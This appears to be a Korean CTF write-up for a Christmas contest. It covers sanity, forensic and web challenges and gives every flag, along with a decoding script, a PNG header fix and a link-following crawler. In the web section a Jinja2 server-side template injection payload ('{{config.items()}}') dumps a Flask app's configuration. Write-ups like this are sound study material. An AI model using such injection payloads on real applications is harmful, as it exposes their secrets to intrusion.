ANNOUNCEMENT Writeup
Sanity Check
Christmas{WelC0m3_T0_Chr1sT_MaS_CTF}
Discord
Christmas{maKe_Su6e_t0_6eAd_Th3_Ru1es!!}
gift from santa
FindinFiles 를 통해 Flag를 쉽게 찾을수 있다.
Christmas{Congratulations_You_got_a_flag_}
Feedback
네이버 폼을 다 채우면 플래그가 나온다.
Christmas{Merry_Chrsitmas}
FORENSIC writeup
santa home?
왠지 모르게 각 문자열 들 간의 간격이 일정한 거 같아서 적당히 게싱해 소스코드를 짯다.
규칙은
- 대문자는 대문자로, 소문자는 소문자로 출력
- 특수문자는 그대로 출력
1
2
3
4
5
6
7
8
9
10
11
payload = "Mlpswrweq{Rijv0_JMbilcma!!}"
# answer1 = "Christmas{Hell0_FOrensic!!}"
start = 10
for j in payload:
if j in "{}_0":
print(j, end="")
continue
print(chr(ord(j) - start), end="")
start -= 6
if start < -4:
start = 10
실제론 답이 이렇게 나왔는데 제출하니 틀려서 게싱으로 이빨나간 문자들 몇개 수정해서 제출했더니 맞았다.
Christmas{Hell0_FOrensic!!}
Corrupted
딱봐도 PNG파일인데 헤더가 손상되어있다. 파일시그니처 89 50 4E 47 0D 0A 1A 0A
를 0x00
영역부터 채워주고 다시 켠다.
플래그 획득!
Christmas{itisflag}
WEB Writeup
injured rudolph
사이트가 맨처음에 None 뜨는걸봐서 딱봐도 Python+Flask 라고 생각했다.
Page Source에 Request 방법 적시됨을 확인. SSTI 시도.
1
https://christmas-web1.herokuapp.com/?santa={{config.items()}}
간단히 플래그가 나왔다.
Christmas{Rudolfu_G0_H0spital}
Rabbit Hole
사이트를 들어가보니 이런식으로 Go [하위주소] 로 나타나있어서 쭉쭉 따라가는 문제인듯 하다. requests로 자동화 프로그램을 짰다.
1
2
3
4
5
6
7
8
import requests
start = "https://rabbit.t3n4ci0us-noah.repl.co/"
while True:
r = requests.get(start)
result = r.text.split("<h1>")[1].split("</h1>")[0].split(" ")[1]
start = "https://rabbit.t3n4ci0us-noah.repl.co/" + result
print(f"Go {start}")
Christmas{What_1sS_1t!!}